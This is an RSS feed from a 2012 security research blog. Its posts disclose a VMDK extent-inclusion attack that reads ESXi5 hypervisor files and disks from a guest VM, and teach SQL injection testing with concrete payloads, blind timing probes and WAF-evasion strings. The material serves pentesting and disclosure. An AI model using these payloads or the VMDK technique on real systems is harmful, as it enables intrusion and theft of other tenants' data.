<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Insinuator</title>
	<atom:link href="http://www.insinuator.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.insinuator.net</link>
	<description>Some outright rants from a bunch of infosec practitioners.</description>
	<lastBuildDate>Tue, 29 May 2012 19:06:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>VMDK Has Left the Building – Follow Up</title>
		<link>http://www.insinuator.net/2012/05/vmdk-has-left-the-building-follow-up/</link>
		<comments>http://www.insinuator.net/2012/05/vmdk-has-left-the-building-follow-up/#comments</comments>
		<pubDate>Tue, 29 May 2012 14:54:09 +0000</pubDate>
		<dc:creator>mluft</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[insecurity]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1246</guid>
		<description><![CDATA[As our last post on the VMDK attack focused on the technical details of the vulnerability, we want to provide additional information about the prerequisites for the attack (which were also mentioned in the initial post and described in our workshop at #HITB2012AMS). In doing so, we will describe requirements for the attack, the attack [...]]]></description>
			<content:encoded><![CDATA[<p>As our last post on the VMDK attack focused on the technical details of the vulnerability, we want to provide additional information about the prerequisites for the attack (which were also mentioned in the initial post and described in our workshop at <a href="http://conference.hitb.org/hitbsecconf2012ams/">#HITB2012AMS</a>). In doing so, we will describe requirements for the attack, the attack path, as well as assumptions about the target environment (most of the information can also be found in our <a href="http://www.insinuator.net/wp-content/uploads/2012/05/HITB_AMS_2012_ERNW_VMDK_v1.0_release.pdf">slides</a>).<br />
First of all, in order to successfully carry out the described attack, it must be possible to deploy virtual machines with custom VMDKs, which can be uploaded by the customer. It’s <strong><em>not</em></strong> about choosing a “pre-defined” machine from a catalogue. Still, this (uploading [customer-] individual machines) is a service that many IaaS providers offer. If that is possible, we assume that the deployment process consists of steps similar to the ones illustrated in the following figure:</p>
<p>&nbsp;</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/05/cloud_deployment.jpg"><img class="alignnone  wp-image-1247" title="cloud_deployment" src="http://www.insinuator.net/wp-content/uploads/2012/05/cloud_deployment.jpg" alt="" width="503" height="239" /></a></p>
<p>&nbsp;</p>
<p>The steps described in the picture can be part of a cloud deployment process which allows the deployment of custom virtual machines/VMDK files:</p>
<ol>
<li>Upload: The upload of the virtual machine is possible using web interfaces, FTP services, or any kind of API.</li>
<li>Copy to hypervisor (optional): This step is optional and depends on the specific environment. However, this step is not necessary to successfully carry out the described attack. It is also common that the actual disk content remains on the storage, specifically in VMware environments using vMotion.</li>
<li>Deployment/start of the virtual machine: This can be achieved by using software provided by VMware (e.g. vCenter or vDirector, and so by clicks in an application interface), or by using the VMware API/similar mechanisms (It’s probably a safe assumption that the large-scale deployment/invocation of custom VMDKs is performed by means of some API calls). No matter which technology is used, this deployment is typically performed by automatic mechanisms of the cloud service provider and is part of the cloud infrastructure. The customer can trigger this by e.g. a click in the cloud management web interface.</li>
</ol>
<p>Within this deployment model, several prerequisites have to be fulfilled in turn (as also laid out <a href="http://www.insinuator.net/2012/05/vmdk-has-left-the-building/">here</a>):</p>
<ul>
<li>No sufficient input validation performed: If the cloud service provider performs additional sanitizing of the VMDK files (in our case: e.g. removing trailing path directives), the attack will not succeed.</li>
<li>VMware API or similar mechanisms are used to start the VM on the hypervisor: The vCenter software responds with an error message when a virtual machine including a malicious VMDK file is to be started. However, if the virtual machine using the crafted VMDK  is started (by the automatic mechanisms of the cloud provider) using the VMware API, there is no error message.</li>
</ul>
<p>If these requirements are fulfilled, it is possible to access data and physical hard drives of an ESXi5 hypervisor from within a guest machine without additional knowledge about the hypervisor or specific interaction with any system besides the described process. Even though there are quite some cloud providers out there which allow the upload of VMDK files, we did not perform in-the-wild testing yet.</p>
<p>As the requirements might seem somewhat comprehensive, from our point of view they are not uncommon for typical cloud environments. In addition, we regard the sheer fact that it is possible to access hypervisor hard drives from within a guest machine as a very big deal and vulnerability in the trust model of the ESXi5 hypervisor – no matter which requirements have to be met.<br />
Some comment to the initial blog post mentioned that “root access to the hypervisor is needed”. It should be explicitly noted that this is not the case. Once the above circumstances are met, the only thing the attacker needs is the ability to upload own VMDK files! All information needed to perform the complete attack can be gathered using crafted VMDK files, as it was laid out in the final complete attack path in the original post.</p>
<p>Stay tuned for another post including screenshots illustrating the complete attack path&#8230;</p>
<p>Have a nice one,</p>
<p>Matthias and Pascal</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/vmdk-has-left-the-building-follow-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Testing for Business Purposes Part 2</title>
		<link>http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/</link>
		<comments>http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/#comments</comments>
		<pubDate>Mon, 28 May 2012 15:45:25 +0000</pubDate>
		<dc:creator>mthumann</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web application]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1239</guid>
		<description><![CDATA[Take Care of the Database There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, [...]]]></description>
			<content:encoded><![CDATA[<h2>Take Care of the Database</h2>
<p>There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload</p>
<p><code>' or 1=1 --</code></p>
<p>to</p>
<p><code>' or 1 --</code></p>
<p>One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL &#8220;<code>waitfor delay</code>&#8221; in other database management systems. For MySQL (before 5.0.42), the benchmark function may be used. E.g.:</p>
<p><code>benchmark(3000000,MD5(1))</code></p>
<p>For later versions:</p>
<p><code>sleep(5)</code></p>
<p>Respectively, Oracle supports an HTTP request function, which is expected to generate a delay if pointed to a non existing URL: <code>utl_http.request('http://192.168.66.77/')</code>. Alternatively, the following function may be useful:</p>
<p><code>DBMS_LOCK.SLEEP(5)</code></p>
<p>Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.</p>
<p>Another important difference is the missing MS-SQL &#8220;<code>xp_cmdshell</code>&#8221; on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sqlmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sqlmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). This table summarizes useful SQL functions.</p>
<p><a href="http://www.insinuator.net/wp-content/uploads/2012/05/pic2-compare_table.png"><img class="alignnone  wp-image-1182" title="pic2-compare_table" src="http://www.insinuator.net/wp-content/uploads/2012/05/pic2-compare_table.png" alt="" width="550" height="132" /></a></p>
<h2>How to Exploit SQL Injection</h2>
<p>After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB. As for data extraction one of the most useful statements is <code>UNION SELECT</code>. However, the <code>UNION SELECT</code> approach doesn&#8217;t work in all situations. If,for example, injecting right after the select statement (e.g. &#8220;<code>SELECT $INPUT_COLUMN_NAME FROM tablename;</code>&#8221; ) and not after a <code>WHERE</code> clause, trying to extract data with<code> UNION SELECT  </code>leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying</p>
<p><code>(SELECT user FROM DUAL)</code></p>
<p>the SQL query doesn&#8217;t get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:</p>
<p><code>'|| (SELECT user FROM DUAL) ||'</code></p>
<p>The previous examples depend on any form of results from the application. In case the application doesn&#8217;t print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:</p>
<p><code>SELECT username FROM users WHERE username = '$NEW_USERNAME';</code></p>
<p>This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:</p>
<p><code>'|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) = 'abcd' THEN 'new_username' else 'EXISTING_USERNAME' END FROM DUAL)||'</code></p>
<p>Or in pseudo code:</p>
<p><code>If abcd equals abcd<br />
return new_username<br />
else<br />
return EXISTING_USERNAME<br />
</code><br />
Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.</p>
<h2>How to get around Web Application Firewalls</h2>
<p>In some situations, the application might filter specific attack strings or a Web Application Firewall (WAF) is deployed in front of the web servers/applications. In these cases, being creative is essential. For example, instead of injecting</p>
<p><code>' or 'a'='a</code></p>
<p>we already circumvented a WAF by supplying a slightly modified version of this payload:</p>
<p><code>' or 'a='='a=</code></p>
<p>If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:</p>
<p><code>' or 1 --</code></p>
<p>It is also very likely, that one single quote doesn&#8217;t cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:</p>
<p><code>abc'def</code></p>
<p>In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.</p>
<p>If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is <a href="http://troopers09.org/content/e644/e649/TROOPERS09_gauci_henrique_web_application_firewalls.pdf">wafw00f</a> which supports many different vendors. Another tool is <a href="http://www.insinuator.net/2011/09/tsakwaf-0-9-1-released/">tsakwaf</a>, which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.</p>
<p>&#8230; to be continued &#8230;</p>
<p>Have a great day and enjoy trying <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Michael, Timo and Frank from the Appsec Team</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMDK Has Left the Building &#8211; Slides available</title>
		<link>http://www.insinuator.net/2012/05/vmdk-has-left-the-building-slides-available/</link>
		<comments>http://www.insinuator.net/2012/05/vmdk-has-left-the-building-slides-available/#comments</comments>
		<pubDate>Fri, 25 May 2012 15:19:24 +0000</pubDate>
		<dc:creator>fhorsch</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Insecurity]]></category>
		<category><![CDATA[HITB]]></category>
		<category><![CDATA[slides]]></category>
		<category><![CDATA[VDMK]]></category>
		<category><![CDATA[vmware]]></category>
		<category><![CDATA[vSphere]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1229</guid>
		<description><![CDATA[A quick update on the workshop we&#8217;ve just finished at Hack in the Box 2012 Amsterdam: Due to popular demand we decided to bring the slides online without wasting any more time. The official website of the conference is currently experiencing some problems due to high interest in all the stuff what was released in the last [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-1232 alignleft" title="HITB_talk" src="http://www.insinuator.net/wp-content/uploads/2012/05/HITB_talk.jpg" alt="" width="540" height="258" />A quick update on the workshop we&#8217;ve just finished at <a href="http://conference.hitb.org/hitbsecconf2012ams/">Hack in the Box 2012 Amsterdam</a>:<br />
Due to popular demand we decided to bring the slides online without wasting any more time. The official website of the conference is currently experiencing some problems due to high interest in all the stuff what was released in the last two days. Great conference!</p>
<p>Here you go: <a href="http://www.insinuator.net/wp-content/uploads/2012/05/HITB_AMS_2012_ERNW_VMDK_v1.0_release.pdf">HITB2012AMS ERNW VMDK Has Left the Building</a> [PDF, 6MB]</p>
<p>Enjoy and feel free to express your thoughts in the comments.</p>
<p>Best greetings from Amsterdam,<br />
Florian &amp; the crew</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/vmdk-has-left-the-building-slides-available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMDK Has Left the Building &#8212; Some Nasty Attacks Against VMware vSphere 5 Based Cloud Infrastructures</title>
		<link>http://www.insinuator.net/2012/05/vmdk-has-left-the-building/</link>
		<comments>http://www.insinuator.net/2012/05/vmdk-has-left-the-building/#comments</comments>
		<pubDate>Thu, 24 May 2012 13:09:44 +0000</pubDate>
		<dc:creator>mluft</dc:creator>
				<category><![CDATA[Insecurity]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1193</guid>
		<description><![CDATA[Update #1: Slides are available for download here. In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud [...]]]></description>
			<content:encoded><![CDATA[<p class="st"><strong>Update #1: </strong>Slides are available for download <a href="http://www.insinuator.net/2012/05/vmdk-has-left-the-building-slides-available/">here</a>.</p>
<p class="st">In the course of our ongoing <a href="http://www.troopers.de/archives/troopers12/agenda/auditing-the-cloud-workshop/">cloud security research</a>, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:</p>
<ul>
<li class="st">Management interfaces</li>
<li class="st">Guest/hypervisor interaction</li>
<li class="st">Network communication</li>
<li class="st">File uploads</li>
</ul>
<p class="st">As there are already several successful exploits against management interfaces (e.g. <a href="http://www.nds.rub.de/media/nds/veroeffentlichungen/2011/10/22/AmazonSignatureWrapping.pdf">here</a> and <a href="http://www.insinuator.net/2011/07/the-key-to-your-datacenter/">here</a>) and guest/hypervisor interaction (see for example <a href="http://www.vmware.com/security/advisories/VMSA-2012-0009.html">this one</a>; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major <em>Infrastructure-as-a-Service</em> (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.</p>
<p class="st">As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:</p>
<ul>
<li class="st">VMX</li>
<li class="st">VMDK</li>
</ul>
<p class="st">The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:</p>
<p><code><br />
# Disk DescriptorFile<br />
version=1<br />
encoding="UTF-8"<br />
CID=a5c61889<br />
parentCID=ffffffff<br />
isNativeSnapshot="no"<br />
createType="vmfs"<br />
# Extent description<br />
RW 33554432 VMFS "machine-flat01.vmdk"<br />
RW 33554432 VMFS "machine-flat02.vmdk"<br />
[...]<br />
</code></p>
<p class="st">For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:</p>
<ol>
<li class="st">Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).</li>
<li class="st">Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.</li>
<li class="st">Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.</li>
</ol>
<p class="st">To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including</p>
<ul>
<li class="st">an ESXi5 hypervisor,</li>
<li class="st">NFS-based storage, and</li>
<li class="st">vCenter,</li>
</ul>
<p class="st">everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:</p>
<ul>
<li class="st">Fuzzing attacks: Given ERNW&#8217;s <a href="http://www.insinuator.net/2011/07/week-of-releases-dizzy/">long</a> <a href="http://www.insinuator.net/2011/05/update-for-your-fuzzing-toolkit/">tradition</a> in the <a href="http://www.troopers08.org/content/e6/e468/MENDERICH-layer2_fuzzing_troopers08.pdf">area of fuzzing</a>, this seems to be a viable option. Still this is not in scope of this post, but we&#8217;ll lay out some things tomorrow in our workshop at <a href="http://conference.hitb.org/hitbsecconf2012ams/">#HITB2012AMS</a>.</li>
<li class="st">File Inclusion Attacks.</li>
</ul>
<p class="st">Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called <em>Extent Description</em>. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.</p>
<p class="st">The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:</p>
<p><code><br />
# Disk DescriptorFile<br />
version=1<br />
encoding="UTF-8"<br />
CID=a5c61889<br />
parentCID=ffffffff<br />
isNativeSnapshot="no"<br />
createType="vmfs"<br />
# Extent description<br />
RW 33554432 VMFS "machine-flat01.vmdk"<br />
RW 0 VMFSRAW "/etc/passwd"<br />
</code></p>
<p class="st">Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:</p>
<p class="st"><a href="http://www.insinuator.net/wp-content/uploads/2012/05/etcpasswd.png"><img class="alignnone  wp-image-1203" title="etcpasswd" src="http://www.insinuator.net/wp-content/uploads/2012/05/etcpasswd.png" alt="" width="507" height="197" /></a></p>
<p class="st">As we are highly convinced that a healthy dose of perseverance (not to say stubbornness <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:</p>
<p class="st"><a href="http://www.insinuator.net/wp-content/uploads/2012/05/statetgz_poc.png"><img class="alignnone  wp-image-1205" title="statetgz_poc" src="http://www.insinuator.net/wp-content/uploads/2012/05/statetgz_poc.png" alt="" width="412" height="326" /></a></p>
<p class="st">The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:</p>
<p class="st"><a href="http://www.insinuator.net/wp-content/uploads/2012/05/esxi5-disks.png"><img class="alignnone  wp-image-1204" title="esxi5-disks" src="http://www.insinuator.net/wp-content/uploads/2012/05/esxi5-disks.png" alt="" width="391" height="334" /></a></p>
<p class="st">Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:</p>
<ol>
<li class="st">Ensure that the following requirements are met:</li>
<ul>
<li class="st">ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)</li>
<li class="st">Deployment of externally provided (in our case, speak: malicious <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ) VMDK files is possible</li>
<li class="st">The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.</li>
</ul>
<li class="st">Deploy a virtual machine referencing /scratch/log/hostd.0.gz</li>
<li class="st">Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </li>
<li class="st">Deploy another virtual machine referencing the extracted device names</li>
<li class="st">Enjoy access to all physical hard drives of the hypervisor <img src='http://www.insinuator.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </li>
</ol>
<p class="st">It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.</p>
<p class="st">Summarizing the most relevant and devastating message in short:</p>
<p class="st"><strong>VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data&#8230;</strong></p>
<p class="st">We&#8217;ll conduct some &#8220;testing in the field&#8221; in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants&#8217; data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at <a href="http://conference.hitb.org/hitbsecconf2012ams/">#HITB2012AMS</a>.</p>
<p class="st">Have a great day,</p>
<p class="st">Pascal, Enno, Matthias, Daniel</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/vmdk-has-left-the-building/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Releasing dizzy version 0.6</title>
		<link>http://www.insinuator.net/2012/05/releasing-dizzy-version-0-6/</link>
		<comments>http://www.insinuator.net/2012/05/releasing-dizzy-version-0-6/#comments</comments>
		<pubDate>Wed, 23 May 2012 12:06:31 +0000</pubDate>
		<dc:creator>dmende</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1188</guid>
		<description><![CDATA[Hi @all, today im releasing a new version of our famous fuzzing framework, dizzy. The version counts 0.6 by now and youll get some brand new features! see the CHANGELOG: v0.6: - ssl support - server side fuzzing mode - command output - new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum - recursive mutation mode - [...]]]></description>
			<content:encoded><![CDATA[<p>Hi @all,<br />
today im releasing a new version of our famous fuzzing framework, dizzy. The version counts 0.6 by now and youll get some brand new features!</p>
<p>see the CHANGELOG:<br />
v0.6:<br />
- ssl support<br />
- server side fuzzing mode<br />
- command output<br />
- new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum<br />
- recursive mutation mode<br />
- new dizz objects: fill<br />
- new interaction objects: null_dizz<br />
- reconnect option<br />
- additional fuzzing values</p>
<p>find the sources <a href="http://www.ernw.de/download/dizzy-0.6.tar.gz">here</a> (90397f9ec11c8ec3db7f14cb4d38dd39e30f9791)</p>
<p>cheers</p>
<p>/daniel</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insinuator.net/2012/05/releasing-dizzy-version-0-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Testing for Business Purposes Part 1</title>
		<link>http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/</link>
		<comments>http://www.insinuator.net/2012/05/sql-injection-testing-for-business-purposes-part-1/#comments</comments>
		<pubDate>Mon, 14 May 2012 11:44:09 +0000</pubDate>
		<dc:creator>mthumann</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[attack tree]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[testing]]></category>

		<guid isPermaLink="false">http://www.insinuator.net/?p=1171</guid>
		<description><![CDATA[Introduction SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems  potentially remain undetecteddue to a lack of proper test methodology, so [...]]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p>SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems  potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.</p>
<p>SQL injection vulnerabilities arise when untrusted input is incorporated into a SQL query within the source code and they are not limited to web applications. Every server application that processes SQL queries can be vulnerable to this kind of attack and should be tested. SQL injection vulnerabilities can be grouped into the following types:</p>
<p>1. Error-based SQL injection: When testing for the vulnerability the server responds with a database error message like &#8220;syntax error&#8221;</p>
<p>2. Blind SQL injection: During the test the server either doesn&#8217;t reveal any error message at all or responds with a customized standard error message respectively just a change in the response behaviour like showing another web page. As long as one can notice a different behaviour of the application, we call this &#8220;Partially Blind SQL Injection&#8221;, in case no changes in the response are detected we talk about &#8220;Totally Blind SQL Injection&#8221;.</p>
<p>3. Client Side SQL injection:SQL injection vulnerabilities are not limited to server applications. Clients that store sensitive data in a local database can be vulnerable to SQL injection attacks as well, when untrusted input is processed. Also HTML5 implements concepts for client side databases like WebSQL (this specification is deprecated) and &#8220;Indexed Database API&#8221; to work with local databases within the web browser.</p>
<p>As already mentioned a proper test methodology can help to improve the rate of findings, e.g. Bruce Schneiers <a href="http://www.schneier.com/paper-attacktrees-ddj-ft.html">Attack Tree Model</a> comes to mind as helpful for summarizing the important steps to discover all SQL injection vulnerabilities within an application. Picture 1 shows a very basic attack tree for uncovering SQL injection.</p>
<h2><a href="http://www.insinuator.net/wp-content/uploads/2012/05/pic1-attacktree.jpg"><img class="alignnone  wp-image-1173" title="pic1-attacktree" src="http://www.insinuator.net/wp-content/uploads/2012/05/pic1-attacktree.jpg" alt="" width="550" height="360" /></a></h2>
<p>&nbsp;</p>
<h2>Detecting SQL Injection</h2>
<p>As described above, SQL injection vulnerabilities exist in different types. Each of these types requires different attack strings and detection mechanisms, and usually a high degree of manual testing for an extensive detection.<br />
To detect SQL injections, you have to test with some simple signatures like a single apostrophe (<code>'</code>), two single apostrophes (<code>''</code>), arithmetic expressions or database specific procedures.</p>
<p>Error prone vulnerabilities which react with an error message on a single apostrophe are very simple to detect. The best way to verify a successful injection is inserting a single apostrophe which leads to an error message. Afterwards insert two single apostrophes, if the second injection doesn&#8217;t return any error messages, it is very likely that a SQL injection vulnerability was found. In Oracle databases you would insert for example &#8220;<code>test'</code>&#8221; in a search box and you get an error message returned. After inserting &#8220;<code>te'||'st</code>&#8221; you get all search results matching for the string test. If the database expects that an integer is supplied, apostrophes always result in an invalid query, no matter if they would be used with string concatenation or not. In such a case you could use some arithmetic calculations to verify that they were evaluated by the database. If the id 47 and <code>58-11</code> results in the same response, it is very possible that they both produced 47 as a result of a calucation by the database.</p>
<p>In Blind SQL injections you could use the same techniques, but you won&#8217;t get any error messages telling you what happened on the database. Instead you may have to use boolean expressions to manipulate the results. For example inserting a &#8220;<code>' OR ''='</code>&#8221; should lead to a result, whereas &#8220;<code>' AND 'x'='</code>&#8221; doesn&#8217;t return anything (or only a very short response like no datasets found).<br />
Because Totally Blind SQL injections normally wouldn&#8217;t affect the response in any way, you have to detect them by measuring the response time depending on the test signature. On Oracle databases a request with &#8220;<code>'||utl_http.request('http://192.168.66.77/')||'</code>&#8221; should take much more time to return as &#8220;<code>'||'</code>&#8220;. If the response time is nearly the same, you should try other IP addresses or hostnames. A MySQL database supports a SLEEP command since version 5.0.12. If a you have to wait for a response 20 seconds after you had injected &#8220;<code>' UNION SELECT SLEEP(20)--</code>&#8221; you would automatically know that you have found a vulnerability and that the used database is a MySQL database with version 5.0.12 or higher.</p>
